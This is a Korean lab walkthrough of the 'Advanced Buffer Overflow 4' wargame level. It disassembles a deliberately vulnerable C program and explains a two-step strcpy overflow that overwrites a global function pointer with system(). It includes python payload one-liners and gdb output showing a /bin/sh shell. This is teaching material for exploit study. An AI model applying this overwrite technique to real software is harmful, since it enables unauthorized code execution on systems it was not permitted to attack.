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Insecure-programming-abo4

Insecure-programming-abo4

Insecure Programming by example

Advanced Buffer Overflow 4

extern system,puts; 
void (*fn)(char*)=(void(*)(char*))&system;

int main(int argv,char **argc) {
	char *pbuf=malloc(strlen(argc[2])+1);
	char buf[256];

	fn=(void(*)(char*))&puts;
	strcpy(buf,argc[1]);
	strcpy(pbuf,argc[2]);
	fn(argc[3]);
	while(1);
}

Advanced Buffer Overflow 3과 다른 몇 가지 특징을 볼 수 있다.

먼저 main 함수 외부에서 전역 변수로 fn함수 포인터를 선언한 것을 볼 수 있다. 그리고 활용 인자 값을 추가하여 첫 번째 인자는 스택에 저장하고 두 번째 인자는 malloc함수를 활용하여 힙에 저장하고, 세 번째 인자는 fn 함수 포인터로 할당한 puts 함수의 인자로 전달하고 있다. 마지막으로 exit 함수를 이용하여 프로그램을 종료하는 것 대신 while 무한 반복이 설정되어 있다.

# objdump -d -M intel ./abo4 | grep -A 39 "<main>"
08048444 <main>:
 8048444:       55                      push   ebp
 8048445:       89 e5                   mov    ebp,esp
 8048447:       81 ec 28 01 00 00       sub    esp,0x128
 804844d:       83 e4 f0                and    esp,0xfffffff0
 8048450:       b8 00 00 00 00          mov    eax,0x0
 8048455:       29 c4                   sub    esp,eax
 8048457:       8b 45 0c                mov    eax,DWORD PTR [ebp+12]
 804845a:       83 c0 08                add    eax,0x8
 804845d:       8b 00                   mov    eax,DWORD PTR [eax]
 804845f:       89 04 24                mov    DWORD PTR [esp],eax
 8048462:       e8 d9 fe ff ff          call   8048340 <strlen@plt>
 8048467:       40                      inc    eax
 8048468:       89 04 24                mov    DWORD PTR [esp],eax
 804846b:       e8 f0 fe ff ff          call   8048360 <malloc@plt>
 8048470:       89 45 f4                mov    DWORD PTR [ebp-12],eax
 8048473:       c7 05 bc 96 04 08 70    mov    DWORD PTR ds:0x80496bc,0x8048370
 804847a:       83 04 08 
 804847d:       8b 45 0c                mov    eax,DWORD PTR [ebp+12]
 8048480:       83 c0 04                add    eax,0x4
 8048483:       8b 00                   mov    eax,DWORD PTR [eax]
 8048485:       89 44 24 04             mov    DWORD PTR [esp+4],eax
 8048489:       8d 85 e8 fe ff ff       lea    eax,[ebp-0x118]
 804848f:       89 04 24                mov    DWORD PTR [esp],eax
 8048492:       e8 b9 fe ff ff          call   8048350 <strcpy@plt>
 8048497:       8b 45 0c                mov    eax,DWORD PTR [ebp+12]
 804849a:       83 c0 08                add    eax,0x8
 804849d:       8b 00                   mov    eax,DWORD PTR [eax]
 804849f:       89 44 24 04             mov    DWORD PTR [esp+4],eax
 80484a3:       8b 45 f4                mov    eax,DWORD PTR [ebp-12]
 80484a6:       89 04 24                mov    DWORD PTR [esp],eax
 80484a9:       e8 a2 fe ff ff          call   8048350 <strcpy@plt>
 80484ae:       8b 45 0c                mov    eax,DWORD PTR [ebp+12]
 80484b1:       83 c0 0c                add    eax,0xc
 80484b4:       8b 00                   mov    eax,DWORD PTR [eax]
 80484b6:       89 04 24                mov    DWORD PTR [esp],eax
 80484b9:       a1 bc 96 04 08          mov    eax,ds:0x80496bc
 80484be:       ff d0                   call   eax
 80484c0:       eb fe                   jmp    80484c0 <main+0x7c>
 80484c2:       90                      nop

프롤로그가 끝난 후 두 번째 인자 값([[ebp+12] + 0x8])을 strlen 함수 인자로 전달하여 값의 길이를 구한다. 구해진 길이에 1을 더한 후 (inc eax) malloc 함수에 전달하여 힙 공간을 할당한다. 할당된 힙 주소를 스택(ebp-12)에 저장한다.

ds:0x80496bc에 0x8048370을 저장한다. 0x8048370은 puts함수 주소로 예상되며 ds:0x80496bc에는 system함수 주소가 기록되어 있다. (main 함수 호출 전 수행)

첫 번째 인자 값([[ebp+12] + 0x4])와 ebp-0x118을 strcpy 함수 인자 값으로 전달하여 첫 번째 인자 값을 ebp-0x118 위치에 복사한다.

두 번째 인자 값([[ebp+12] + 0x8])과 malloc으로 할당한 힙 영역 주소가 저장된 ebp-12를 strcpy 함수 인자 값으로 전달하여 두 번째 인자 값을 힙 영역에 복사한다.

세 번째 인자 값([[ebp+12] + 0xc])을 puts 함수 포인터(ds:0x80496bc)의 인자로 하여 함수를 호출한다.

자신의 위치로 점프(jmp 80484c0)하여 무한 반복을 수행한다.

Exploit

이번 문제는 두 개의 strcpy 함수를 활용하여 /bin/sh를 실행할 수 있다.

  1. 첫 번째 strcpy 함수에서 buf 배열 버퍼 오버플로우를 유발하여 ebp-12(pbuf)에 저장된 주소를 fn함수 주소로 덮어쓴다.
  2. 두 번째 strcpy 함수에서 ebp-12(fn)에 system 함수 주소를 덮어쓴다.

따라서 첫 번째 인자는 오버플로우 및 fn함수 주소, 두 번째 인자는 system 함수 주소, 세 번째 인자는 system함수 인자 값으로 구성한다.

하지만 system함수 주소는 0x08048320으로 공백 문자(0x20)가 포함되어 있어 바로 사용이 불가하다.

 $ objdump -d -M intel ./abo4 | grep system -A 4
08048320 <system@plt>:
 8048320:       ff 25 98 96 04 08       jmp    DWORD PTR ds:0x8049698
 8048326:       68 08 00 00 00          push   0x8
 804832b:       e9 d0 ff ff ff          jmp    8048300 <_init+0x18>

그러므로 0x0848326을 사용하도록 하자.

python -c "print 'A'*268+'\xbc\x96\x04\x08'" > arg1
python -c "print '\x26\x83\x04\x08'" > arg2

생성한 인자 값들을 이용하여 gdb에서 /bin/sh가 실행되는지 확인하자.

$ gdb -q abo4
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) r $(cat arg1) $(cat arg2) /bin/sh
Starting program: /home/iamroot/workspace/abo/4/abo4 $(cat arg1) $(cat arg2) /bin/sh
sh-3.2$ q
sh: q: command not found
sh-3.2$ exit
exit

주요 포인트에 브레이크 포인트를 설정하여 과정을 확인해보자.

$ gdb -q abo4
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048444 <main+0>:    push   ebp
0x08048445 <main+1>:    mov    ebp,esp
0x08048447 <main+3>:    sub    esp,0x128
0x0804844d <main+9>:    and    esp,0xfffffff0
0x08048450 <main+12>:   mov    eax,0x0
0x08048455 <main+17>:   sub    esp,eax
0x08048457 <main+19>:   mov    eax,DWORD PTR [ebp+12]
0x0804845a <main+22>:   add    eax,0x8
0x0804845d <main+25>:   mov    eax,DWORD PTR [eax]
0x0804845f <main+27>:   mov    DWORD PTR [esp],eax
0x08048462 <main+30>:   call   0x8048340 <strlen@plt>
0x08048467 <main+35>:   inc    eax
0x08048468 <main+36>:   mov    DWORD PTR [esp],eax
0x0804846b <main+39>:   call   0x8048360 <malloc@plt>
0x08048470 <main+44>:   mov    DWORD PTR [ebp-12],eax
0x08048473 <main+47>:   mov    DWORD PTR ds:0x80496bc,0x8048370
0x0804847d <main+57>:   mov    eax,DWORD PTR [ebp+12]
0x08048480 <main+60>:   add    eax,0x4
0x08048483 <main+63>:   mov    eax,DWORD PTR [eax]
0x08048485 <main+65>:   mov    DWORD PTR [esp+4],eax
0x08048489 <main+69>:   lea    eax,[ebp-0x118]
0x0804848f <main+75>:   mov    DWORD PTR [esp],eax
0x08048492 <main+78>:   call   0x8048350 <strcpy@plt>
0x08048497 <main+83>:   mov    eax,DWORD PTR [ebp+12]
0x0804849a <main+86>:   add    eax,0x8
0x0804849d <main+89>:   mov    eax,DWORD PTR [eax]
0x0804849f <main+91>:   mov    DWORD PTR [esp+4],eax
0x080484a3 <main+95>:   mov    eax,DWORD PTR [ebp-12]
0x080484a6 <main+98>:   mov    DWORD PTR [esp],eax
0x080484a9 <main+101>:  call   0x8048350 <strcpy@plt>
0x080484ae <main+106>:  mov    eax,DWORD PTR [ebp+12]
0x080484b1 <main+109>:  add    eax,0xc
0x080484b4 <main+112>:  mov    eax,DWORD PTR [eax]
---Type <return> to continue, or q <return> to quit---
0x080484b6 <main+114>:  mov    DWORD PTR [esp],eax
0x080484b9 <main+117>:  mov    eax,ds:0x80496bc
0x080484be <main+122>:  call   eax
0x080484c0 <main+124>:  jmp    0x80484c0 <main+124>
End of assembler dump.
(gdb) b *main+47
Breakpoint 1 at 0x8048473
(gdb) b *main+83
Breakpoint 2 at 0x8048497
(gdb) b *main+101
Breakpoint 3 at 0x80484a9
(gdb) b *main+122
Breakpoint 4 at 0x80484be
(gdb) r $(cat arg1) $(cat arg2) /bin/sh
Starting program: /home/iamroot/workspace/abo/4/abo4 $(cat arg1) $(cat arg2) /bin/sh

Breakpoint 1, 0x08048473 in main ()
(gdb) x *0x80496bc
0x8048320 <system@plt>: 0x969825ff
(gdb) ni
0x0804847d in main ()
(gdb) x *0x80496bc
0x8048370 <puts@plt>:   0x96ac25ff
(gdb) c
Continuing.

Breakpoint 2, 0x08048497 in main ()
(gdb) x $ebp -12
0xbffff6ac:     0x080496bc
(gdb) x 0x080496bc
0x80496bc <fn>: 0x08048370
(gdb) c
Continuing.

Breakpoint 3, 0x080484a9 in main ()
(gdb) x *0x80496bc
0x8048370 <puts@plt>:   0x96ac25ff
(gdb) ni
0x080484ae in main ()
(gdb) x *0x80496bc
0x8048326 <system@plt+6>:       0x00000868
(gdb) c
Continuing.

Breakpoint 4, 0x080484be in main ()
(gdb) x $eax
0x8048326 <system@plt+6>:       0x00000868
(gdb) c
Continuing.
sh-3.2$

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진행 환경 : # cat /proc/version
Linux version 2.6.20-15-generic (root@palmer) (gcc version 4.1.2 (Ubuntu 4.1.2-0ubuntu4)) #2 SMP Sun Apr 15 07:36:31 UTC 2007`

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